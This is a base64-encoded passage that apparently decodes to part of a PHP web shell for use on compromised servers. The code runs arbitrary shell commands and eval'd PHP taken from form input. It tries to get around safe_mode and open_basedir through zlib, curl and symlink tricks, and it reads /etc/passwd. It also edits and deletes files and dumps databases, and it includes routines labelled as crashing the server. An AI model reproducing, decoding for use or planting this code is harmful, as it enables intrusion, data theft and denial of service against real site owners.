ZXcgQ09NKCdXJy4nU2NyJy4naXAnLid0LnNoZScuJ2xsJyk7DQogICAgICAgICAgICAkZXhlYyA9ICR3c2gtPmV4ZWMgKCJjbSIuImQuZSIuInhlIC9jICIuJF9QT1NUWydieWN3J10uIiIpOw0KICAgICAgICAgICAgJHN0ZG91dCA9ICRleGVjLT5TdGRPdXQoKTsNCiAgICAgICAgICAgICRzdGNvbSA9ICRzdGRvdXQtPlJlYWRBbGwoKTt9DQoJCQkNCmVjaG8gJGhlYWQuJzxwIGFsaWduPSJjZW50ZXIiPjx0ZXh0YXJlYSByb3dzPSIxMyIgbmFtZT0ic2hvd2JzZCIgY29scz0iNzciPic7aWYoJF9QT1NUWydieXdzJ10pe3Bhc3N0aHJ1KCJcXCIuJF9QT1NUWydieXdzJ10pO30gZWNobyAkc3Rjb20uJzwvdGV4dGFyZWE+PGhyPjxjZW50ZXI+QnlwYXNzIFNhZmVfTW9kZSBBbmQgRGlzYWJsZV9GdW5jdGlvbnMgSW4gV2luZG93cyBTZXJ2ZXI8YnI+PHRhYmxlIGJvcmRlcj0iMCIgd2lkdGg9Ijk1MCIgc3R5bGU9ImJvcmRlci1jb2xsYXBzZTogY29sbGFwc2UiIGlkPSJ0YWJsZTQiIGNlbGxwYWRkaW5nPSI1Ij48dHI+PHRkIHdpZHRoPSIyMDAiIGFsaWduPSJyaWdodCIgdmFsaWduPSJ0b3AiPjxmb250IGZhY2U9IlRhaG9tYSIgc3R5bGU9ImZvbnQtc2l6ZTogMTBwdDsgZm9udC13ZWlnaHQ6NzAwIj4nLiRmb3JtcC4nPGlucHV0IHR5cGU9aGlkZGVuIHZhbHVlPSJieXBhc3NjbWQiIG5hbWU9ZG8+Q29tbWFuZCA8L2ZvbnQ+PC90ZD48dGQgd2lkdGg9Ijc1MCI+PGlucHV0IG5hbWU9YnljdyBzaXplPTUwPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZSA9ImVYZWN1dGUiPjwvZm9ybT48L3RkPjwvdHI+PC90YWJsZT5CeXBhc3MgU2FmZV9Nb2RlIFdpbmRvd3MgU2VydmVyPGJyPjx0YWJsZSBib3JkZXI9IjAiIHdpZHRoPSI5NTAiIHN0eWxlPSJib3JkZXItY29sbGFwc2U6IGNvbGxhcHNlIiBpZD0idGFibGU0IiBjZWxscGFkZGluZz0iNSI+PHRyPjx0ZCB3aWR0aD0iMjAwIiBhbGlnbj0icmlnaHQiIHZhbGlnbj0idG9wIj48Zm9udCBmYWNlPSJUYWhvbWEiIHN0eWxlPSJmb250LXNpemU6IDEwcHQ7IGZvbnQtd2VpZ2h0OjcwMCI+Jy4kZm9ybXAuJ0NvbW1hbmQgPC9mb250PjwvdGQ+PHRkIHdpZHRoPSI3NTAiPjxpbnB1dCBuYW1lPWJ5d3Mgc2l6ZT01MD48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWUgPSJlWGVjdXRlIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1kbyB2YWx1ZT0iYnlwYXNzY21kIj48L2Zvcm0+PC90ZD48L3RyPjwvdGFibGU+Jy4kZW5kO2V4aXQ7Ow0KfQ0KaWYoJF9SRVFVRVNUWydkbyddPT0iYnlwYXNzZGlyIil7DQppZigkX1BPU1RbJ2J5b2MnXSl7DQppZihjb3B5KCJjb21wcmVzcy56bGliOi8vIi4kX1BPU1RbJ2J5b2MnXSwgZ2V0Y3dkKCkuIi8iLiJwZWppLnR4dCIpKXsNCiRib3BlbnM9IkJ5cGFzcyBTdWNjZXNmdWxsIFBseiBSZWFkIEZpbGUgUGVqaS50eHQgSW4gVGhpcyBGb2xkZXIiOw0KfWVsc2V7JGJvcGVucz0iQ2FuIE5vdCBCeXBhc3MgVGhpcyI7fQ0KfQ0KaWYoJF9QT1NUWydieWZjJ10pew0KY3VybF9pbml0KCJmaWxlOi8vLyIuJF9QT1NUWydieWZjJ10uIlx4MDAvLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vIi5fX0ZJTEVfXyk7DQokZGViZmM9Y3VybF9leGVjKCRjaCk7DQp9DQppZigkX1BPU1RbJ2J5ZXRjJ10pew0KZm9yKCRieWU9MDskYnllPDQwMDAwOyRieWUrKyl7DQokc2JlcCA9JHNiZXAuIHBvc2l4X2dldHB3dWlkKCRieWUpOw0KfX0NCmlmKCRfUE9TVFsnYnlmYzknXSl7DQplY2hvICJub3Qgc3Vjc2Z1bGwiOw0KfQ0KaWYoJF9SRVFVRVNUWydieXN5bWwnXSl7DQokZmlsZT0kX1JFUVVFU1RbJ2J5c3ltbCddOw0KYnl3c3ltKCRmaWxlKTsNCn0NCmVjaG8gJGhlYWQuJzxwIGFsaWduPSJjZW50ZXIiPjx0ZXh0YXJlYSByb3dzPSIxMyIgbmFtZT0ic2hvd2JzZCIgY29scz0iNzciPic7aWYoJF9QT1NUWydieXdzJ10pe3Bhc3N0aHJ1KCJcXCIuJF9QT1NUWydieXdzJ10pO31pZihpc3NldCgkc2JlcCkpe2ZvcigkZmJlPTA7JGZiZTxjb3VudCgkc2JlcCk7JGZiZSsrKXtlY2hvICRzYmVwWyRmYmVdO319IGlmKGlzc2V0KCRkZWJmYykpe30gZWNobyAkYm9wZW5zLic8L3RleHRhcmVhPjxocj48Y2VudGVyPkJ5cGFzcyBTYWZlX01vZGUgQW5kIE9wZW5fYmFzZWRpciBXaXRoIEJ1ZyBDb3B5KFpsaWIpIFdvcmtlZCBJbiA0LjQuMiAuLiA1LjEuMjxicj48dGFibGUgYm9yZGVyPSIwIiB3aWR0aD0iOTUwIiBzdHlsZT0iYm9yZGVyLWNvbGxhcHNlOiBjb2xsYXBzZSIgaWQ9InRhYmxlNCIgY2VsbHBhZGRpbmc9IjUiPjx0cj48dGQgd2lkdGg9IjIwMCIgYWxpZ249InJpZ2h0Ij4nLiRmb3JtcC4nPGlucHV0IHR5cGU9aGlkZGVuIHZhbHVlPSJieXBhc3NkaXIiIG5hbWU9ZG8+PGZvbnQgZmFjZT0iVGFob21hIiBzdHlsZT0iZm9udC1zaXplOiAxMHB0OyBmb250LXdlaWdodDo3MDAiPkFkZHJlc3MgRmlsZSA8L2ZvbnQ+PC90ZD48dGQgd2lkdGg9Ijc1MCI+PGlucHV0IG5hbWU9YnlvYyBzaXplPTUwID48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWUgPSJyZWFkIj48L2Zvcm0+PC90ZD48L3RyPjwvdGFibGU+PGhyPkJ5cGFzcyBPcGVuX2Jhc2VkaXIgQW5kIFJlYWQgRmlsZSBXaXRoIEJ1ZyBDdXJsIFdvcmtlZCBJbiBQSFAgNC40LjIgYW5kIDUuMS40PGJyPjx0YWJsZSBib3JkZXI9IjAiIHdpZHRoPSI5NTAiIHN0eWxlPSJib3JkZXItY29sbGFwc2U6IGNvbGxhcHNlIiBpZD0idGFibGU0IiBjZWxscGFkZGluZz0iNSI+PHRyPjx0ZCB3aWR0aD0iMjAwIiBhbGlnbj0icmlnaHQiIHZhbGlnbj0idG9wIj48Zm9udCBmYWNlPSJUYWhvbWEiIHN0eWxlPSJmb250LXNpemU6IDEwcHQ7IGZvbnQtd2VpZ2h0OjcwMCI+Jy4kZm9ybXAuJ0FkZHJlc3MgRmlsZSA8L2ZvbnQ+PC90ZD48dGQgd2lkdGg9Ijc1MCI+PGlucHV0IG5hbWU9YnlmYyBzaXplPTUwPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZSA9ImVYZWN1dGUiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWRvIHZhbHVlPSJieXBhc3NkaXIiPjwvZm9ybT48L3RkPjwvdHI+PC90YWJsZT48aHI+QnlwYXNzIE9wZW5fYmFzZWRpciBBbmQgUmVhZCBGaWxlIFdpdGggQnVnIEN1cmwgV29ya2VkIEluIFBIUCA0LlggLi4uIDUuMi45PGJyPjx0YWJsZSBib3JkZXI9IjAiIHdpZHRoPSI5NTAiIHN0eWxlPSJib3JkZXItY29sbGFwc2U6IGNvbGxhcHNlIiBpZD0idGFibGU0IiBjZWxscGFkZGluZz0iNSI+PHRyPjx0ZCB3aWR0aD0iMjAwIiBhbGlnbj0icmlnaHQiIHZhbGlnbj0idG9wIj48Zm9udCBmYWNlPSJUYWhvbWEiIHN0eWxlPSJmb250LXNpemU6IDEwcHQ7IGZvbnQtd2VpZ2h0OjcwMCI+Jy4kZm9ybXAuJ0FkZHJlc3MgRmlsZSA8L2ZvbnQ+PC90ZD48dGQgd2lkdGg9Ijc1MCI+PGlucHV0IG5hbWU9YnlmYzkgc2l6ZT01MD48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWUgPSJlWGVjdXRlIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1kbyB2YWx1ZT0iYnlwYXNzZGlyIj48L2Zvcm0+PC90ZD48L3RyPjwvdGFibGU+PGhyPkJ5cGFzcyAvRXRjL1Bhc3N3ZDxicj4nLiRmb3JtcC4nPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlID0iUmVhZCBQYXNzd2QiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWJ5ZXRjIHZhbHVlPSJsb2wiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWRvIHZhbHVlPSJieXBhc3NkaXIiPjwvZm9ybT48aHI+QnlwYXNzIFdpdGggaW5pX3Jlc3RvcmUnLiRmb3JtcC4nPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlID0iUmVhZCBGaWxlIj48aW5wdXQgbmFtZT1yZmlsaSB2YWx1ZT0iUGVqaWpvbiIgdHlwZT1oaWRkZW4+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZG8gdmFsdWU9ImJ5cGFzc2RpciI+PC9mb3JtPjxocj5CeXBhc3MgV2l0aCBTeW1saW5rIFdvcmtlZCBJbiA1LngueCA1LjIuMTEgV2l0aCBCdWcgU3ltbGluazx0YWJsZSBib3JkZXI9IjAiIHdpZHRoPSI5NTAiIHN0eWxlPSJib3JkZXItY29sbGFwc2U6IGNvbGxhcHNlIiBpZD0idGFibGU0IiBjZWxscGFkZGluZz0iNSI+PHRyPjx0ZCB3aWR0aD0iMjAwIiBhbGlnbj0icmlnaHQiIHZhbGlnbj0idG9wIj48Zm9udCBmYWNlPSJUYWhvbWEiIHN0eWxlPSJmb250LXNpemU6IDEwcHQ7IGZvbnQtd2VpZ2h0OjcwMCI+Jy4kZm9ybXAuJzwvZm9udD48L3RkPjx0ZCB3aWR0aD0iNzUwIj48aW5wdXQgbmFtZT1ieXN5bWwgc2l6ZT01MD48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWUgPSJSZWFkIEZpbGUiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWRvIHZhbHVlPSJieXBhc3NkaXIiPjxpbnB1dCBuYW1lPXJmaWxpIHZhbHVlPSJQZWppam9uIiB0eXBlPWhpZGRlbj48L2Zvcm0+PC90ZD48L3RyPjwvdGFibGU+PGhyPicuJGZvcm1wLidCeXBhc3MgU2FmZSBBbmQgT3Blbl9iYXNlZGlyIFdpdGggQnVnIEN1cmwgV29ya2VkIEluIDQueC54IC4uLiA1LjIuOTx0YWJsZSBib3JkZXI9IjAiIHdpZHRoPSI5NTAiIHN0eWxlPSJib3JkZXItY29sbGFwc2U6IGNvbGxhcHNlIiBpZD0idGFibGU0IiBjZWxscGFkZGluZz0iNSI+PHRyPjx0ZCB3aWR0aD0iMjAwIiBhbGlnbj0icmlnaHQiIHZhbGlnbj0idG9wIj48Zm9udCBmYWNlPSJUYWhvbWEiIHN0eWxlPSJmb250LXNpemU6IDEwcHQ7IGZvbnQtd2VpZ2h0OjcwMCI+Jy4kZm9ybXAuJzwvZm9udD48L3RkPjx0ZCB3aWR0aD0iNzUwIj48aW5wdXQgbmFtZT1ieXBjdSBzaXplPTUwPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZSA9IlJlYWQgRmlsZSI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZG8gdmFsdWU9ImJ5cGFzc2RpciI+PC9mb3JtPjwvdGQ+PC90cj48L3RhYmxlPicuJGVuZDtleGl0OzsNCg0KDQoNCg0KfQ0KZnVuY3Rpb24gcHJpbnRkcml2ZSgpew0KZ2xvYmFsICRzbGFzaDsNCmZvcmVhY2ggKHJhbmdlKCJBIiwiWiIpIGFzICR0ZW1wZHJpdmUpIHsNCmlmIChpc19kaXIoJHRlbXBkcml2ZS4iOiIuJHNsYXNoKSl7DQokYWRyaT0kdGVtcGRyaXZlLiI6Ii4kc2xhc2g7DQokZHJpdmVhPSRkcml2ZWEuJzxhIGhyZWY9Ij9hZGRyZXNzPScuJGFkcmkuJyI+PGZvbnQgc2l6ZT0xPicuJHRlbXBkcml2ZS4nOicuJHNsYXNoLicgPC9hPjwvZm9udD4nOw0KfQ0KfQ0KcmV0dXJuICRkcml2ZWE7DQp9DQppZigkX1BPU1RbJ25hbWVyZW4nXSAmJiAkX1BPU1RbJ2FkZHJlc3NyZW4nXSl7DQppZihpc193cml0YWJsZSgkX1JFUVVFU1RbJ2FkZHJlc3NyZW4nXSkpew0KDQpyZW5hbWUoJF9QT1NUWydhZGRyZXNzcmVuJ10sJF9QT1NUWyduYW1lcmVuJ10pO2FsZXJ0KCJSZW5hbWUgU3VjY2Vzc2Z1bCAhIik7DQp9ZWxzZXthbGVydCgiUGVybWlzc2lvbiBEZW5pZWQgISIpO30NCn0NCmlmKCRfR0VUWydkbyddPT0iZGVsZXRlIil7DQoNCmlmICgkX0dFVFsndHlwZSddPT0iZGlyIil7DQppZihpc193cml0YWJsZSgkX1JFUVVFU1RbJ2FkZHJlc3MnXSkpew0KJGRpcj0kX0dFVFsnYWRkcmVzcyddLiRfR0VUWydmaWxlbmFtZSddOw0KZGVsZXRlRGlyZWN0b3J5KCRkaXIpOw0KYWxlcnQoIkRlbGV0ZWQgU3VjY2Vzc2Z1bCAhIik7DQp9ZWxzZXthbGVydCgiUGVybWlzc2lvbiBEZW5pZWQgISIpO30NCn1lbHNlaWYoJF9HRVRbJ3R5cGUnXT09ImZpbGUiKXsNCmlmKGlzX3dyaXRhYmxlKCRfR0VUWydhZGRyZXNzJ10uJF9HRVRbJ2ZpbGVuYW1lJ10pKXsNCnVubGluaygkX0dFVFsnYWRkcmVzcyddLiRfR0VUWydmaWxlbmFtZSddKTthbGVydCgiRGVsZXRlZCBTdWNjZXNzZnVsICEiKTsNCn1lbHNle2FsZXJ0KCJQZXJtaXNzaW9uIERlbmllZCAhIik7fQ0KfQ0KfQ0KaWYoJF9QT1NUWydmZWRpdCddICYmICRfUE9TVFsnbmFtZWZlJ10pew0KaWYoaXNfd3JpdGFibGUoJF9SRVFVRVNUWydhZGRyZXNzJ10pKXsNCg0KDQokb3BlbnNhdmU9Zm9wZW4oJF9QT1NUWydhZGRyZXNzJ10uJHNsYXNoLiRfUE9TVFsnbmFtZWZlJ10sInciKTsNCmZ3cml0ZSgkb3BlbnNhdmUsaHRtbF9lbnRpdHlfZGVjb2RlKCRfUE9TVFsnZmVkaXQnXSkpOw0KZmNsb3NlKCRvcGVuc2F2ZSk7YWxlcnQoIkZpbGUgU2F2ZWQgU3VjY2Vzc2Z1bCAhIik7DQp9ZWxzZXthbGVydCgiUGVybWlzc2lvbiBEZW5pZWQgISIpO30NCn0NCmlmICgkX1BPU1RbJ2V2YWxzb3VyY2UnXSl7DQoNCmV2YWwoJF9QT1NUWydldmFsc291cmNlJ10pOw0KfQ0KaWYoJF9HRVRbJ2RvJ109PSJldmFsIil7DQplY2hvICRoZWFkLiRmb3JtcC4kbm93YWRkcmVzcy4nPHAgYWxpZ249ImNlbnRlciI+PHRleHRhcmVhIHJvd3M9IjE5IiBuYW1lPSJldmFsc291cmNlIiBjb2xzPSI4NyI+PC90ZXh0YXJlYT48YnI+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSIgIGVYZWN1dGUgICI+PC9mb3JtPjwvcD4nLiRlbmQ7ZXhpdDsNCn0NCmlmKCRfR0VUWydkbyddPT0iaW5mbyIpew0KDQppZihpbmlfZ2V0KCdyZWdpc3Rlcl9nbG9iYWxzJykpew0KJHJlZ2lzdGVyZz0iRW5hYmxlIjsNCn1lbHNlew0KJHJlZ2lzdGVyZz0iZGlzYWJsZSI7DQp9DQppZihleHRlbnNpb25fbG9hZGVkKCdjdXJsJykpew0KJGN1cmxzPSJFbmFibGUiOw0KfWVsc2V7DQokY3VybHM9ImRpc2FibGUiOw0KfQ0KaWYoQGZ1bmN0aW9uX2V4aXN0cygnbXlzcWxfY29ubmVjdCcpKXsNCiRkYl9vbiA9ICJNeXNxbCA6IE9uIjsNCn07DQppZihAZnVuY3Rpb25fZXhpc3RzKCdtc3NxbF9jb25uZWN0Jykpew0KJGRiX29uID0gIk1zc3FsIDogT24iOw0KfTsNCmlmKEBmdW5jdGlvbl9leGlzdHMoJ3BnX2Nvbm5lY3QnKSl7DQokZGJfb24gPSAiUG9zdGdyZVNRTCA6IE9uIjsNCn07aWYoQGZ1bmN0aW9uX2V4aXN0cygnb2NpbG9nb24nKSl7DQokZGJfb24gPSAiT3JhY2xlIDogT24iOw0KfTsNCg0KZWNobyAkaGVhZC4iPGZvbnQgZmFjZT0nVGFob21hJyBzaXplPScyJz5PcGVyYXRpbmcgU3lzdGVtIDogIi5waHBfdW5hbWUoKS4iPGJyPlNlcnZlciBOYW1lIDogIi4kX1NFUlZFUlsnSFRUUF9IT1NUJ10uIjxicj5EaXNhYmxlX0Z1bmN0aW9ucyA6ICIuJGRpc2FibGVmLiI8YnI+U2FmZV9Nb2RlIDogIi4kc2FmZV9tb2Rlcy4iPGJyPk9wZW5iYXNlX2RpciA6ICIuaW5pX2dldCgnb3BlbmJhc2VfZGlyJykuIjxicj5QaHAgVmVyc2lvbiA6ICIucGhwdmVyc2lvbigpLiI8YnI+RnJlZSBTcGFjZSA6ICIuc2l6ZWUoZGlza19mcmVlX3NwYWNlKCIvIikpLiI8YnI+VG90YWwgU3BhY2UgOiAiLnNpemVlKGRpc2tfdG90YWxfc3BhY2UoIi8iKSkuIjxicj5SZWdpc3Rlcl9HbG9iYWxzIDogIi4kcmVnaXN0ZXJnLiI8YnI+Q3VybCA6ICIuJGN1cmxzLiI8YnI+RGF0YWJhc2UgIi4kZGJfb24uIjxicj5TZXJ2ZXIgTmFtZSA6ICIuJF9TRVJWRVJbJ0hUVFBfSE9TVCddLiI8YnI+QWRtaW4gU2VydmVyIDogIi4kX1NFUlZFUlsnU0VSVkVSX0FETUlOJ10uJGVuZDsNCmV4aXQ7DQp9DQppZiAoJF9HRVRbJ2RvJ109PSJjbWQiKXsNCmVjaG8gJGhlYWQuJw0KPGZvcm0gbWV0aG9kPWdldCBhY3Rpb249IicuJG1lLiciPg0KPHAgYWxpZ249ImNlbnRlciI+DQo8dGV4dGFyZWEgcm93cz0iMTkiIG5hbWU9IlMxIiBjb2xzPSI4NyI+JzsNCmlmIChzdHJsZW4oJF9HRVRbJ2NvbW1hbmQnXSk+MSAmJiAkX0dFVFsnZXhlY21ldGhvZCddIT0icG9wZW4iKXsNCmVjaG8gJF9HRVRbJ2V4ZWNtZXRob2QnXSgkX0dFVFsnY29tbWFuZCddKTt9DQppZiAoc3RybGVuKCRfUE9TVFsnY29tbWFuZCddKT4xICYmICRfUE9TVFsnZXhlY21ldGhvZCddIT0icG9wZW4iKXsNCmVjaG8gJF9QT1NUWydleGVjbWV0aG9kJ10oJF9QT1NUWydjb21tYW5kJ10pO30NCg0KaWYgKHN0cmxlbigkX0dFVFsnY29tbWFuZCddKT4xICYmICRfR0VUWydleGVjbWV0aG9kJ109PSJwb3BlbiIpew0KcG9wZW4oJF9HRVRbJ2NvbW1hbmQnXSwiciIpO30NCg0KZWNobyc8L3RleHRhcmVhPjwvcD48cCBhbGlnbj0iY2VudGVyIj4NCjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPSJkbyIgc2l6ZT0iNTAiIHZhbHVlPSJjbWQiPiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iY29tbWFuZCIgc2l6ZT0iNTAiPjxzZWxlY3QgbmFtZT1leGVjbWV0aG9kPg0KICA8b3B0aW9uIHZhbHVlPSJzeXN0ZW0iPlN5c3RlbTwvb3B0aW9uPiAgPG9wdGlvbiB2YWx1ZT0iZXhlYyI+RXhlYzwvb3B0aW9uPiAgPG9wdGlvbiB2YWx1ZT0icGFzc3RocnUiPlBhc3N0aHJ1PC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0icG9wZW4iPnBvcGVuPC9vcHRpb24+DQo8L3NlbGVjdD48aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iZVhlY3V0ZSI+DQo8L3A+PC9mb3JtPicuJGVuZDtleGl0O30NCmlmICgkX0dFVFsnZG8nXT09InN5bWxpbmsiKXsNCmVjaG8gJGhlYWQuJw0KPGZvcm0gbWV0aG9kPXBvc3QgYWN0aW9uPSInLiRtZS4nIj4NCjxwIGFsaWduPSJjZW50ZXIiPg0KU3ltTGluayBXaXRoIFBIUDxicj48aW5wdXQgbmFtZT1hZDFzeXAgc2l6ZT01MD4gVE8gPGlucHV0IHZhbHVlPSInLmdldGN3ZCgpLiRzbGFzaC4ic3ltbGluay50eHQiLiciIG5hbWU9YWQyc3lwIHNpemU9NTA+PGJyPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT1TeW1MaW5rIT48aHI+PHAgYWxpZ249ImNlbnRlciI+PC9mb3JtPg0KPGZvcm0gbWV0aG9kPXBvc3QgYWN0aW9uPSInLiRtZS4nIj48cCBhbGlnbj0iY2VudGVyIj4NCg0KU3ltTGluayBXaXRoIE9TIDogPGJyPjxpbnB1dCBuYW1lPWFkMXN5YyBzaXplPTUwPiBUTyA8aW5wdXQgdmFsdWU9IicuZ2V0Y3dkKCkuJHNsYXNoLiJzeW1saW5rLnR4dCIuJyIgbmFtZT1hZDJzeWMgc2l6ZT01MD48YnI+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPVN5bUxpbmshPg0KPC9wPjwvZm9ybT4nLiRlbmQ7ZXhpdDt9DQppZiAoJF9QT1NUWydhZDFzeXAnXSAmJiAkX1BPU1RbJ2FkMnN5cCddKXsNCmlmIChzeW1saW5rKCRfUE9TVFsnYWQxc3lwJ10sJF9QT1NUWydhZDJzeXAnXSkpew0KYWxlcnQoIlN5bWxpbmsgV29ya2VkICEiKTsNCn1lbHNlew0KYWxlcnQoIlN5bWxpbmsgTm90IFdvcmtlZCAhIik7DQp9fQ0KaWYgKCRfUE9TVFsnYWQxc3ljJ10gJiYgJF9QT1NUWydhZDJzeWMnXSl7DQppZiAoc3lzdGVtKCdscyAtcyAnLiRfUE9TVFsnYWQxc3ljJ10uIiAiLiRfUE9TVFsnYWQyc3ljJ10pKXsNCmFsZXJ0KCJTeW1saW5rIFdvcmtlZCAhIik7DQp9ZWxzZXthbGVydCgiU3ltbGluayBOb3QgV29ya2VkICEiKTt9DQp9DQppZiAoJF9HRVRbJ2RvJ109PSJkMHNsb2NhbCIpew0KZWNobyAkaGVhZC4nDQo8cCBhbGlnbj0iY2VudGVyIj5JZiBZb3UgQ2xpY2sgVGhpcyBMaW5rIFRoaXMgU2VydmVyIENyYXNoZWQuPGJyPlRoaXMgV29ya2VkIEluIFBocCA1LjMueCA6IDxhIGhyZWY9Ij9kb3N0aGlzc2VydmVyPTEiIHRhcmdldD0iX2JsYW5rIj48Zm9udCBzaXplPTQ+RG9zIFRoaXMgU2VydmVyIEkgQW0gU3VyZSA8L2ZvbnQ+PC9hPjxicj5UaGlzIFdvcmtlZCBJbiBQaHAgNC54LnggQW5kIDUuMi45IDogPGEgaHJlZj0iP2Rvc3RoaXNzZXJ2ZXI9MiIgdGFyZ2V0PSJfYmxhbmsiPjxmb250IHNpemU9ND5Eb3MgVGhpcyBTZXJ2ZXIgSSBBbSBTdXJlIDwvYT4nLiRlbmQ7ZXhpdDt9DQppZiAoJF9HRVRbJ2Rvc3RoaXNzZXJ2ZXInXT09IjEiKXsNCmZ1bmN0aW9uIGRvc3NlcnZlcigpew0KJGp1bms9c3RyX3JlcGVhdCgiOTk5OTk5OTk5OTk5OTk5OTk5OTk5OTk5OTk5OTk5OTk5OTk5OTk5OTk5OTk5OTk5OTkiLDk5OTk5KTsNCmZvcigkaT0wOyRpPDI7KXsNCiRidWZmPWJjcG93KCRqdW5rLCAnMycsIDIpOw0KJGJ1ZmY9bnVsbDsNCn0NCn0NCmRvc3NlcnZlcigpOw0KfQ0KaWYgKCRfR0VUWydkb3N0aGlzc2VydmVyJ109PSIyIil7DQpmdW5jdGlvbiBjeCgpe2N4KCk7fQ0KIGN4KCk7DQp9DQppZiAoJF9HRVRbJ2RvJ109PSJjb252ZXJ0Iil7DQokaGFzaD1udWxsOw0KaWYgKCRfR0VUWydzdHJpbmd0b2gnXSAmJiAkX0dFVFsnaGFzaHRvaCddPT0nbWQ1Jyl7DQokaGFzaD1tZDUoJF9HRVRbJ3N0cmluZ3RvaCddKTsNCn1lbHNlaWYgKCRfR0VUWydzdHJpbmd0b2gnXSAmJiAkX0dFVFsnaGFzaHRvaCddPT0nc2gxJyl7DQokaGFzaD1zaGExKCRfR0VUWydzdHJpbmd0b2gnXSk7DQp9ZWxzZWlmICgkX0dFVFsnc3RyaW5ndG9oJ10gJiYgJF9HRVRbJ2hhc2h0b2gnXT09J2NyYzMyJyl7DQokaGFzaD1jcmMzMigkX0dFVFsnc3RyaW5ndG9oJ10pOw0KfWVsc2VpZiAoJF9HRVRbJ3N0cmluZ3RvaCddICYmICRfR0VUWydoYXNodG9oJ109PSdiNjRlJyl7DQokaGFzaD1iYXNlNjRfZW5jb2RlKCRfR0VUWydzdHJpbmd0b2gnXSk7DQp9ZWxzZWlmICgkX0dFVFsnc3RyaW5ndG9oJ10gJiYgJF9HRVRbJ2hhc2h0b2gnXT09J2I2NGQnKXsNCiRoYXNoPWJhc2U2NF9kZWNvZGUoJF9HRVRbJ3N0cmluZ3RvaCddKTsNCn0NCmVjaG8gJGhlYWQuJw0KPGZvcm0gbWV0aG9kPWdldCBhY3Rpb249IicuJG1lLiciPg0KPHAgYWxpZ249ImNlbnRlciI+Q29udmVydDxicj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1kbyB2YWx1ZT1jb252ZXJ0Pg0KPGlucHV0IG5hbWU9c3RyaW5ndG9oIHNpemU9NTg+PHNlbGVjdCBuYW1lPWhhc2h0b2g+DQo8b3B0aW9uIHZhbHVlPSJtZDUiPk1ENTwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iY3JjMzIiPkNSQzMyPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSJzaGExIj5TSEExPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSJiNjRlIj5CYXNlNjQgRW5jb2RlITwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iYjY0ZCI+QmFzZTY0IERlY29kZSE8L29wdGlvbj4NCjxicj48dGV4dGFyZWEgY29scz02MCByb3dzPTE4PicuJGhhc2guJzwvdGV4dGFyZWE+PGJyPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iQ29udmVydCI+DQoNCjwvcD48L2Zvcm0+Jy4kZW5kO2V4aXQ7fQ0KaWYgKCRfR0VUWydkbyddPT0iZHVtcCIpew0KZWNobyAkaGVhZC4nPHAgYWxpZ249ImNlbnRlciI+JzsNCmVjaG8gJzx0YWJsZSBib3JkZXI9MSB3aWR0aD00MDAgc3R5bGU9ImJvcmRlci1jb2xsYXBzZTogY29sbGFwc2UiICBib3JkZXJjb2xvcj0jQzZDNkM2IGNlbGxwYWRkaW5nPTI+PHRyPjx0ZCB3aWR0aD00MDAgY29sc3Bhbj0yIGJnY29sb3I9I0YyRjJGMj48cCBhbGlnbj1jZW50ZXI+PGI+PGZvbnQgZmFjZT1BcmlhbCBzaXplPTIgY29sb3I9IzQzMzkzND5CYWNrdXAgRGF0YWJhc2U8L2ZvbnQ+PC9iPjwvdGQ+PC90cj48dHI+PHRkIHdpZHRoPTE1MCBiZ2NvbG9yPSNFQUVBRUE+PGZvbnQgZmFjZT1BcmlhbCBzaXplPTI+REIgVHlwZTo8L2ZvbnQ+PC90ZD48dGQgd2lkdGg9MjUwIGJnY29sb3I9I0VBRUFFQT48Zm9ybSBtZXRob2Q9cG9zdCBhY3Rpb249IicuJG1lLiciPjxzZWxlY3QgbmFtZT1tZXRob2Q+PG9wdGlvbiB2YWx1ZT0iZ3ppcCI+R3ppcDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9InNxbCI+U3FsPC9vcHRpb24+IDwvc2VsZWN0PjwvdGQ+PC90cj48dHI+PHRkIHdpZHRoPTE1MCBiZ2NvbG9yPSNFQUVBRUE+PGZvbnQgZmFjZT1BcmlhbCBzaXplPTI+U2VydmVyOjwvZm9udD48L3RkPjx0ZCB3aWR0aD0yNTAgYmdjb2xvcj0jRUFFQUVBPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1zZXJ2ZXIgc2l6ZT0zNT48L3RkPjwvdHI+PHRyPjx0ZCB3aWR0aD0xNTAgYmdjb2xvcj0jRUFFQUVBPjxmb250IGZhY2U9QXJpYWwgc2l6ZT0yPlVzZXJuYW1lOjwvZm9udD48L3RkPjx0ZCB3aWR0aD0yNTAgYmdjb2xvcj0jRUFFQUVBPjxpbnB1dCB0eXBlPXRleHQgbmFtZT11c2VybmFtZSBzaXplPTM1PjwvdGQ+PC90cj48dHI+PHRkIHdpZHRoPTE1MCBiZ2NvbG9yPSNFQUVBRUE+PGZvbnQgZmFjZT1BcmlhbCBza